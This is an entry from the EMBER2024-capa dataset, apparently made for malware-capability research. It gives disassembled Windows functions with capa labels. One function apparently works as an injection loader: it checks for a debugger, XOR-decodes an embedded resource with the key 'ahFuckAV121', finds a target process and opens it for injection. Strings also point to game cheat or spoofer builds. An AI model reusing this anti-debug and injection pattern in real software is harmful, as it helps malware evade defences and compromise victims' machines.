joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001050
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r8d, 0x2a
lea rcx, section..text
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Calling_SleepEx..._n
call fcn.140001130
mov edx, 1
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_SleepEx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.SleepEx_finished._n
call fcn.140001130
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret
Function at 0x140002620
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000267d
lea rbx, [0x140044900]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140002664
cmp r10, 2
jb 0x140002664
cmp byte [r9], r8b
jne 0x140002664
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140002640
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1400026bf
lea rbx, [0x140044900]
cmp r8b, 0x23
jne 0x1400026a3
cmp byte [r9], r8b
jne 0x1400026a3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140002690
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140002880
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbx, rcx
test rcx, rcx
jne 0x1400028af
mov r8d, 0x622
lea rdx, str.C:Users_adminDesktopimgui_for_riotimgui.cpp
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rdi, rdi
je 0x1400028bb
mov qword [rdi], 0
lea rdx, [0x140044510]
mov rcx, rbx
call fcn.1400026d0
mov rbx, rax
test rax, rax
jne 0x1400028dd
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x1400029b6
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400029b6
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x1400029b6
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1400029b6
cmp rsi, 0xffffffffffffffff
je 0x1400029b6
mov rax, qword [0x14007f128]
test rax, rax
je 0x140002953
inc dword [rax + 0x3b4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x1400029b6
mov r9, rbx
mov r8, rsi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rsi
je 0x1400029a3
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x14007f128]
test rax, rax
je 0x140002998
dec dword [rax + 0x3b4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400029bf
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rdi, rdi
je 0x1400029b1
mov qword [rdi], rsi
mov rax, rbp
jmp 0x1400029c1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140004d70
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0xc8], 0
mov rbx, rcx
mov edi, edx
jg 0x140004da6
mov r8d, 0x68f
lea rdx, str.C:Users_adminDesktopimgui_for_riotimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd r8, dword [rbx + 0xc8]
mov rax, qword [rbx + 0xd0]
mov edx, dword [rax + r8*4 - 4]
lea r8, [0x140044900]
not edx
movzx eax, dil
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x39]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3a]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3b]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov rax, qword [0x14007f128]
xor edx, dword [r8 + rcx*4]
not edx
cmp dword [rax + 0x1c58], edx
jne 0x140004e20
mov dword [rax + 0x1c5c], edx
cmp dword [rax + 0x1c98], edx
jne 0x140004e2f
mov byte [rax + 0x1c9c], 1
mov rbx, qword [rsp + 0x30]
mov eax, edx
add rsp, 0x20
pop rdi
ret
Function at 0x140010400
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rax, qword [0x14007f128]
mov rbp, rcx
mov r14, rcx
shr rbp, 0x38
mov r15, rcx
shr r14, 0x30
mov r12, rcx
shr r15, 0x28
mov rbx, qword [rax + 0x1c10]
mov r13, rcx
mov rax, rcx
shr r12, 0x20
shr rax, 0x10
add rbx, 0xc8
mov qword [rsp + 0x68], rax
mov rdi, rcx
mov rax, rcx
shr r13, 0x18
shr rax, 8
cmp dword [rbx], 0
mov qword [rsp + 0x60], rax
jg 0x140010486
mov r8d, 0x68f
lea rdx, str.C:Users_adminDesktopimgui_for_riotimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rdx, dword [rbx]
lea r8, [0x140044900]
mov rax, qword [rbx + 8]
mov esi, dword [rax + rdx*4 - 4]
not esi
movzx eax, dil
movzx ecx, sil
xor rcx, rax
shr esi, 8
movzx eax, byte [rsp + 0x60]
xor esi, dword [r8 + rcx*4]
movzx ecx, sil
xor rcx, rax
shr esi, 8
movzx eax, byte [rsp + 0x68]
xor esi, dword [r8 + rcx*4]
movzx ecx, sil
xor rcx, rax
shr esi, 8
movzx eax, r13b
xor esi, dword [r8 + rcx*4]
movzx ecx, sil
xor rcx, rax
shr esi, 8
movzx eax, r12b
xor esi, dword [r8 + rcx*4]
movzx ecx, sil
xor rcx, rax
shr esi, 8
movzx eax, r15b
xor esi, dword [r8 + rcx*4]
movzx ecx, sil
xor rcx, rax
shr esi, 8
movzx eax, r14b
xor esi, dword [r8 + rcx*4]
movzx ecx, sil
shr esi, 8
xor rcx, rax
xor esi, dword [r8 + rcx*4]
movzx ecx, sil
shr esi, 8
xor rcx, rbp
xor esi, dword [r8 + rcx*4]
mov r8d, dword [rbx + 4]
not esi
cmp edx, r8d
jne 0x14001055c
lea ecx, [rdx + 1]
test r8d, r8d
je 0x140010548
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x14001054d
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.140018ed0
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov dword [rax + rcx*4], esi
inc dword [rbx]
mov rbx, qword [rsp + 0x70]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400118a0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [0x14007f128]
mov edi, edx
cmp byte [rbx + 0x1f4d], 0
jne 0x1400118f1
cmp byte [rbx + 0x1f4e], 0
jne 0x1400118f1
mov r9d, dword [rbx + 0x2ff0]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.1400025a0
test dil, 1
je 0x140011a09
jmp 0x140011973
movss xmm1, dword [rbx + 0x1614]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
addss xmm1, dword [rbx + 0x12c]
mulss xmm0, dword [0x14004d35c]
xor eax, eax
mov edx, 0x10
addss xmm0, dword [rbx + 0x128]
movss dword [rbx + 0x1cc4], xmm1
mov qword [rbx + 0x1cc8], rax
mov dword [rbx + 0x1cb4], 1
movss dword [rbx + 0x1cc0], xmm0
movss xmm0, dword [rbx + 0x1670]
mulss xmm0, dword [0x14004d290]
or dword [rbx + 0x1cb0], 0x41
movss dword [rbx + 0x1d10], xmm0
mov r9d, dword [rbx + 0x2ff0]
call fcn.1400025a0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x1400119c3
lea r11, [0x140044900]
cmp r9b, 0x23
jne 0x1400119a6
cmp byte [r8], r9b
jne 0x1400119a6
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140011993
not ecx
call fcn.14000a830
test rax, rax
je 0x140011a09
cmp byte [rax + 0x8e], 0
je 0x140011a09
mov byte [rax + 0x95], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xac], 1
lea rcx, [rsp + 0x20]
inc dword [rbx + 0x2ff0]
mov edx, 0x10
mov r9d, dword [rbx + 0x2ff0]
call fcn.1400025a0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14000ce70
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140016a30
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x3090], 0
lea rbx, [rcx + 0x3098]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140016ad7
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x140016a8a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140018c50
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140002d50
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x3090]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x30a0]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x14007f120]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x140016adf
mov rcx, rbx
call fcn.140002d50
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14003fc78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003fcc2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003fcc2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003fcc2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003fcc2
cmp dword [rcx + 0x84], 0xe
jbe 0x14003fcc2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003fcc4
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Encode data using xor
Enumerate processes
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x150
mov edx, 0x64
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140001070
lea rcx, str.Debugger_is_present._n
call fcn.1400016d0
lea rcx, str.fuckyou
jmp 0x140001062
mov ebx, 0xc350
nop word [rax + rax]
lea rcx, [0x140021060]
call fcn.1400016d0
sub rbx, 1
jne 0x140001080
mov r9d, 4
mov r8d, 0x3000
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbp
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call fcn.140014eb0
xor edi, edi
mov r8d, edi
mov r10d, edi
test ebp, ebp
je 0x140001114
mov r9d, edi
lea r11, str.ahFuckAV121__
mov rdx, rsi
nop dword [rax]
nop word [rax + rax]
cmp r9, 0xd
lea rdx, [rdx + 1]
mov rcx, rdi
cmovne rcx, r9
movzx eax, byte [rcx + r11]
xor byte [rdx - 1], al
mov eax, edi
cmp r9, 0xd
lea r9, [rcx + 1]
cmovne eax, r8d
inc r10d
lea r8d, [rax + 1]
movsxd rax, r10d
cmp rax, rbp
jb 0x1400010e0
lea rcx, str._nHit_me__n
call fcn.1400016d0
call fcn.140004d30
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400011e7
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
mov rcx, rbx
test eax, eax
je 0x1400011e1
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x14000119d
nop dword [rax]
lea rdx, [rsp + 0x4c]
lea rcx, str.notepad.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x140001199
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001170
jmp 0x14000119d
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400011e7
mov edx, edi
lea rcx, str.explorer.exe_PID___d_n
call fcn.1400016d0
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400011e7
mov r8d, ebp
mov rdx, rsi
mov rcx, rax
call fcn.140001330
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x150]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140001e7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ec6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ec6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ec6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ec6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ec6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ec8
xor al, al
add rsp, 0x28
ret
Function at 0x140007830
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000789f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000789f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000789f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000789f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000789f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000789f
cmp dword [rcx + 0xf8], 0
je 0x14000789f
mov ecx, ebx
call fcn.140007950
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000772c
nop
cmp dword [rbp + 0x20], 0
je 0x1400078ed
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400078f8
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140007830

Function at 0x140007a34
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007830
Function at 0x14000cddc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000ce0c
xor eax, eax
jmp 0x14000cecf
mov rbp, rbx
cmp word [rax], si
je 0x14000ce31
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000ce18
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000ce14
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000ccfc
movsxd r14, eax
test eax, eax
jne 0x14000ce6f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000ce05
mov rcx, r14
call fcn.140009590
mov rdi, rax
test rax, rax
jne 0x14000ce88
xor ecx, ecx
call fcn.140008874
jmp 0x14000ce64
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000ccfc
test eax, eax
jne 0x14000ceb9
mov rcx, rdi
call fcn.140008874
jmp 0x14000cec3
xor ecx, ecx
call fcn.140008874
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000f078
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140022100]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14000f0cf
cmp word [rdx], r13w
jne 0x14000f0cf
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14000f0d4
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14000f1f9
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14000f21a
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14000f10d
mov rdx, r9
mov word [rbx], cx
jmp 0x14000f134
cmp r9, r8
jae 0x14000f144
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14000f0ee
jmp 0x14000f1f9
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000f1ee
cmp dword [rsp + 0x80], esi
je 0x14000f1ee
lea r8, [0x140022100]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14000f1c6
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14000f196
mov word [rbx], r13w
jmp 0x14000f1f6
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14000f1a3
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14000f1f6
cmp word [rsp + 0x70], r13w
jne 0x14000f1d3
cmp rbx, r14
je 0x14000f190
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140012d3c
cmp word [rsp + 0x70], r13w
je 0x14000f1f9
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140022100]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14000f1f3
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14000f1f9
Function at 0x14001180c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140011822
mov al, 1
jmp 0x140011882
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140011833
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140011880
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000d2b4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140011880
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140011880
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140011880
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140011882
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400147d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400147f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400147f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140005890
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400058ed
lea rbx, [0x14016a5d0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400058d4
cmp r10, 2
jb 0x1400058d4
cmp byte [r9], r8b
jne 0x1400058d4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1400058b0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000592f
lea rbx, [0x14016a5d0]
cmp r8b, 0x23
jne 0x140005913
cmp byte [r9], r8b
jne 0x140005913
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140005900
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x140005a30
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rsi, r8
mov rbx, rcx
test rcx, rcx
jne 0x140005a65
mov r8d, 0x81f
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
xor r14d, r14d
test rsi, rsi
je 0x140005a70
mov qword [rsi], r14
lea rdx, [0x140169db8]
mov rcx, rbx
call fcn.140005940
mov rbx, rax
test rax, rax
jne 0x140005a98
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x140005bc4
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140005bc4
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140005bc4
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140005bc4
cmp rdi, 0xffffffffffffffff
je 0x140005bc4
mov rcx, rdi
call fcn.14000a110
mov rbp, rax
test rax, rax
je 0x140005bc4
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140005bb1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r8, qword [0x140399fa0]
test r8, r8
je 0x140005ba6
movsx rdx, word [r8 + 0x6078]
lea rcx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f90]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x140005b9b
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [r8 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r14d
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140005bcd
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x140005bbf
mov qword [rsi], rdi
mov rax, rbp
jmp 0x140005bcf
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140009690
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0x100], 0
mov rsi, rcx
movsxd rdi, edx
jg 0x1400096cc
mov r8d, 0x773
lea rdx, [0x140164ce0]
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
